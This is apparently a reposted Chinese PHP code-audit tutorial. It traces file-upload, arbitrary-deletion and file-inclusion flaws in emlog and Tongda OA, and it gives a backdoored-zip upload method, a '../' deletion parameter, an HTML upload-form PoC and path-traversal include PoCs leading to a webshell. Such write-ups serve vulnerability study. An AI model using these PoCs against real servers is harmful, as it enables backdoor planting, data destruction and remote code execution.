Day106:代码审计-PHP原生开发篇文件安全上传监控功能定位关键搜索1day挖掘

news2024/11/20 4:55:56

目录

emlog-文件上传&文件删除

emlog-模板文件上传

emlog-插件文件上传

emlog-任意文件删除

通达OA-文件上传&文件包含


知识点:

PHP审计-原生开发-文件上传&文件删除-Emlog
PHP审计-原生开发-文件上传&文件包含-通达OA

emlog-文件上传&文件删除

文件安全挖掘点:

1、脚本文件名:upload.php、up.php、upfile.php、del.php、delfile.php、down.php、downfile.php 、read.php、readfile.php

2、应用功能点:下载,上传,读取,删除   --> URL路径 --> 文件地方代码 --> 分析

如果功能点可以作为漏洞的强特征,就可以通过找功能点来找漏洞

3、操作关键字:直接搜索操作类函数或变量:$_FILES  move_upload_file ; 还有 上传文件,删除文件,安装文件,上传成功,上传失败等

搜索不到:文件路径也可能写入数据库了

emlog-模板文件上传

搜索函数关键字或应用关键字:

流程:搜$_FILES->template.php->upload_zip->emUnZip

流程:搜安装或上传等->template.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536

这个路东并不是说文件里面存在上传漏洞,因为在软件、应用程序或网站的开发中,/templates 目录通常是用来存放模板文件的地方。模板文件用于定义数据显示的结构和布局,是一种将内容和表现分离的设计手段。

意思应该上传模板文件存在漏洞

修改参数 tpl 即可更换模板

模板文件存放路径 

搜$_FILES

搜索上传

定位到文件 /admin/template.php

搜索安装模板,在 /view/template.php,可以根据 MVC 架构特点,在 /admin/template.php 处理试图

MVC 架构是一种用于设计软件应用的模式,尤其是在图形用户界面(GUI)的应用程序开发中广泛采用。MVC 代表 Model-View-Controller,这三个组件是MVC架构的核心,它们各自承担着不同的职责,使得应用程序的开发、维护和扩展变得更加容易和清晰。

  1. Model(模型):模型代表的是应用程序的数据结构,通常模型对象负责在数据库中存取数据。它包含了数据的处理逻辑,例如计算或数据校验等。模型是独立于用户界面的,因此模型的改变通常不直接影响视图的显示。模型提供了一种方式来操作应用程序的数据,以及将这些数据转化为有用的信息。
  2. View(视图):视图是应用程序中用户界面的部分。它负责将数据(即模型)以图形界面的形式展现给用户。视图仅仅展示数据,不包含业务逻辑。换句话说,视图是模型的可视化表示。当模型的状态发生变化时,视图可以更新其展示的内容,反映最新的信息。
  3. Controller(控制器):控制器是模型与视图之间的协调者。它接收用户的输入(例如,鼠标点击和键盘输入),并决定如何处理这些输入。例如,控制器可以决定响应用户的某个动作来修改模型的状态或更新视图。控制器将用户的输入转化为模型的更新和视图的操作,确保模型和视图的同步。

进入 emDirect() 函数

$r = explode('/', $zip->getNameIndex(0), 2);

getNameIndex(0) 方法调用是ZipArchive类的一个功能,它接受一个整数作为参数(在这个例子中是0),这个参数指定了ZIP文件中条目的索引。此方法返回该索引对应的条目的名称,即ZIP文件中第一个文件或文件夹的名称。如果ZIP文件为空或指定的索引不存在,此方法将返回FALSE。

explode('/', $zip->getNameIndex(0), 2) 函数是PHP中用于将字符串拆分为数组的内置函数。这里,它被用来将getNameIndex(0)返回的第一个条目名称按照'/'(正斜杠)分隔符进行分割。参数2表示最多分割为两部分,这意味着如果存在多个'/',只分割第一个,将结果分为两个元素的数组。

$dir = isset($r[0]) ? $r[0] . '/' : '';

这行PHP代码是在处理由前一行代码$r = explode('/', $zip->getNameIndex(0), 2);生成的数组$r。具体来说,它在确定并构建一个表示目录路径的字符串。

代码解析如下:

  1. isset($r[0]):这个函数检查数组$r中是否有索引为0的元素。由于explode函数至少会返回一个元素的数组(除非传递的是空字符串),通常情况下索引0是存在的。如果$zip->getNameIndex(0)返回的是以/开头的路径,那么$r[0]将是一个空字符串。
  2. ? $r[0] . '/':这是三元运算符的中间部分。如果isset($r[0])为true(即$r[0]存在),那么取出数组$r中索引为0的元素,并在其后添加一个正斜杠'/'。这通常用来确保得到的路径是一个目录路径。
  3. : '':这是三元运算符的最后部分。如果isset($r[0])为false(即$r[0]不存在),则目录字符串设为一个空字符串。
  4. $dir:这是存储最终目录字符串的变量。如果数组$r中存在索引0,那么$dir将是该值加上一个尾随正斜杠(表示目录)。如果不存在,$dir就是空字符串。

综上所述,这行代码用于从ZIP压缩包中提取的第一个文件(或目录)的路径,获取它的目录部分,并确保这个目录字符串以正斜杠结束。这在处理ZIP文件中的条目时,用于构建路径、创建目录结构或进行路径检查时非常有用。

此处上传模板存在文件上传漏洞且没有过滤。

如何利用?

  1. 压缩默认模版目录
  2. 压缩一个带后门模版
  3. 上传带后门模版压缩包

制作模板压缩包,文件目录如下:

test.php内部是一个后门

上传常规,出现 test 模板

模板压缩包制作可知压缩一下defualt或者下载一个看看目录结构

emlog-插件文件上传

流程:搜$_FILES->plugin.php->upload_zip->emUnZip

流程:搜安装或上传等->plugin.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535

定位到 /admin/plugin.php

制作插件压缩包

上传成功

emlog-任意文件删除

流程:搜unlink->data.php->action=dell_all_bak->bak[]

https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633

1、/admin/data.php?action=dell_all_bak

2、bak[1]=../xxx.php

删除成功!

通达OA-文件上传&文件包含

安装,双击运行即可

安装后的目录

控制中心在 /bin 目录下

Web目录

IDEA打开源码,发现源码加密

解决办法:

  1. 方法一:找关键字,如上图中,可能在前面,中间,后米娜,之后百度搜索,看看是什么加密,再看看能否解密
  2. 方法二:直接搜索该OA版本的加密

开始时使用Zend解密出现闪退,原因:(1) 内存不够   (2)代码资源被占用
退出IDEA即可解决
等待IDEA更新索引

流程:找文件名->绕验证P->DEST_UID,UPLOAD_MOD->构ATTACHMENT

文件上传(文件名称):/webroot/ispirit/im/upload.php

流程:搜include_once->gateway.php->$url->$key->$json

文件包含(include_once):/ispirit/interface/gateway.php

这个漏洞的挖掘时是艰难的,项目太大了,需要时间慢慢测试,才发现到upload.php,使用搜索的方式结果太多了。实战中,大型的程序挖掘需要时间。也可以使用动态分析的技术,配合使用。
接收参数 p 

经由上述分析,构造符合条件的文件上传:
  1. 设置P参数不为0
  2. 设置DEST_UID参数为1
  3. 设置UPLOAD_MODE参数为1,2,3
  4. 设置上传文件参数名为ATTACHMENT
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

文件监控:file-jiankong.py,方便监控获取文件上传到什么地方

使用:直接放到文件的根目录下,就可以监视该文件夹下的文件变化,可以快速找到文件上传到那个目录了

txt 里面是后门代码 

这个文件是不可访问的,没有权限,因为再 Web 目录的外面

思路:配合文件包含后门代码,需要满足参数参数可控,没过滤

poc1:/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/2310/1600449966.1.txt
poc2:/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/2310/1600449966.1.txt
poc3:/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt

但是又碰到一个问题

没有回显,解决办法:webshell 连接,把结果写入到别的文件里,再访问。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1572900.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unknown redis exception; event execu tor terminated;解决

最近查看服务器日记是不是报发现有台服务器报错&#xff1a; rocessing failed; nested exception is org.springframework.data.redis.RedisSystemException: Unknown redis exception; nested exception is java.util.concurrent.RejectedExecutionException: event execu …

Stale Diffusion、Drag Your Noise、PhysReaction、CityGaussian

本文首发于公众号&#xff1a;机器感知 Stale Diffusion、Drag Your Noise、PhysReaction、CityGaussian Drag Your Noise: Interactive Point-based Editing via Diffusion Semantic Propagation Point-based interactive editing serves as an essential tool to compleme…

Python实现特征模态分解(FMD)

大家好&#xff0c;我是带我去滑雪&#xff01; 特征模态分解&#xff08;Feature Mode Decomposition&#xff0c;FMD&#xff09;是一种信号处理技术&#xff0c;用于从数据中提取特征&#xff0c;并将其表示为一组特定的模态成分。与其他分解方法类似&#xff0c;如小波变换…

RUST语言值所有权之内存复制与移动

1.RUST中每个值都有一个所有者,每次只能有一个所有者 String::from函数会为字符串hello分配一块内存 内存示例如下: 在内存分配前调用s1正常输出 在分配s1给s2后调用报错 因为s1分配给s2后,s1的指向自动失效 s1被move到s2 s1自动释放 字符串克隆使用

Oracle 中 where 和 on 的区别

1.Oracle 中 where 和 on 的区别 on&#xff1a;会先根据on后面的条件进行筛选&#xff0c;条件为真时返回该行&#xff0c;由于on的优先级高于left join&#xff0c;所以left join关键字会把左表中没有匹配的所有行也都返回&#xff0c;然后生成临时表返回,执行优先级高于…

Python 基于列表实现的通讯录管理系统(有完整源码)

目录 通讯录管理系统 PersonInformation类 ContactList类 menu函数 main函数 程序的运行流程 完整代码 运行示例 通讯录管理系统 这是一个基于文本的界面程序&#xff0c;用户可以通过命令行与之交互&#xff0c;它使用了CSV文件来存储和读取联系人信息&#xff0c;这…

C++进阶--C++11(2)

C11第一篇 C11是C编程语言的一个版本&#xff0c;于2011年发布。C11引入了许多新特性&#xff0c;为C语言提供了更强大和更现代化的编程能力。 可变参数模板 在C11中&#xff0c;可变参数模板可以定义接受任意数量和类型参数的函数模板或类模板。它可以表示0到任意个数&…

数据库基础:概念、分类、作用和特点

文章目录 概要DB-Engines 排名数据库的分类数据库的作用数据库的特点数据库的应用小结 概要 数据库是按照数据结构来组织、存储和管理数据的仓库。它是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。数据库可以被视为电子化的文件柜&#xff0c;用…

40.基于SpringBoot + Vue实现的前后端分离-摄影分享网站(项目 + 论文)

项目介绍 随着互联网时代的发展&#xff0c;传统的线下管理技术已无法高效、便捷的管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;国家在环境要求不断提高的前提下&#xff0c;摄影分享网站管理系统建设也逐渐进入了信…

Lanelets_ 高效的自动驾驶地图表达方式

Lanelets: 高效的自动驾驶地图表达方式 附赠自动驾驶学习资料和量产经验&#xff1a;链接 LaneLets是自动驾驶领域高精度地图的一种高效表达方式&#xff0c;它以彼此相互连接的LaneLets来描述自动驾驶可行驶区域&#xff0c;不仅可以表达车道几何&#xff0c;也可以完整表述车…

考研高数(平面图形的面积,旋转体的体积)

1.平面图形的面积 纠正&#xff1a;参数方程求面积 2.旋转体的体积&#xff08;做题时&#xff0c;若以x为自变量不好计算&#xff0c;可以求反函数&#xff0c;y为自变量进行计算&#xff09;

正排索引 vs 倒排索引 - 搜索引擎具体原理

阅读导航 一、正排索引1. 概念2. 实例 二、倒排索引1. 概念2. 实例 三、正排 VS 倒排1. 正排索引优缺点2. 倒排索引优缺点3. 应用场景 三、搜索引擎原理1. 宏观原理2. 具体原理 一、正排索引 1. 概念 正排索引是一种索引机制&#xff0c;它将文档或数据记录按照某种特定的顺序…

【cpp】快速排序优化

标题&#xff1a;【cpp】快速排序 水墨不写bug 正文开始&#xff1a; 快速排序的局限性&#xff1a; 虽然快速排序是一种高效的排序算法&#xff0c;但也存在一些局限性&#xff1a; 最坏情况下的时间复杂度&#xff1a;如果选择的基准元素不合适&#xff0c;或者数组中存在大…

“张衡一号”卫星成功监测太阳活动引起的空间天气事件

太阳出现耀斑和日冕物质抛射等短时间尺度的剧烈活动&#xff0c;造成地球磁层、电离层和中高层大气的强烈扰动&#xff0c;这类活动通常称之为空间天气事件。空间天气事件会对现代高技术系统&#xff0c;如航空、航天、导航通信、电力油气管网等&#xff0c;造成严重影响&#…

Rust---复合数据类型之元组

目录 元组的使用输出结果 元组的使用 fn main() {// 创建一个元组let my_tuple : (i32, &str, f64) (10, "hello", 3.14);// 打印元组中的元素println!("{:?}", my_tuple);// 访问元组中的元素let first_element my_tuple.0; // 访问第一个元素let…

阿里云最新活动及优惠券领取指南

随着云计算技术的快速发展&#xff0c;越来越多的企业选择将业务部署在云平台上。阿里云作为国内领先的云服务提供商&#xff0c;不断推出各种优惠活动及优惠券&#xff0c;旨在帮助用户降低成本&#xff0c;提升运营效率。本文将为大家详细介绍阿里云的最新活动及优惠券领取指…

Web3 游戏周报(3.24-3.30)

【3.24-3.30】Web3 游戏行业动态&#xff1a; Web3 开发平台 Mirror World 在 Solana 上推出首个游戏 rollup 链 NFT 卡牌游戏 Parallel 完成 3,500 万美元融资&#xff0c;Solana Ventures 等参投 加密游戏开发公司 Gunzilla Games 完成 3,000 万美元融资 Telegram 游戏 No…

第四百四十四回

文章目录 1. 问题描述2. 优化方法2.1 缩小范围2.2 替代方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何获取AppBar的高度"相关的内容&#xff0c;本章回中将介绍关于MediaQuery的优化.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 问题描述 我们在…

(二)小案例银行家应用程序-创建DOM元素

● 上图的数据很明显是从我们账户数组中拿到了&#xff0c;我们刚刚学习了forEach&#xff0c;所以我们使用forEach来创建我们的DOM元素&#xff1b; const displayMovements function (movements) {movements.forEach((mov, i) > {const type mov > 0 ? deposit : w…

161 Linux C++ 通讯架构实战15,线程池代码分析

线程池应该使用的地方 和 epoll 技术结合 线程池代码处理数据的地方。 线程池分析&#xff1a; 线程池代码1 threadpool_create //Tencent8888 start threadpool_create函数的目的初始化线程池&#xff0c;对应的struct是 threadpool_t /* 1.先malloc整个线程池的大小 2.这里…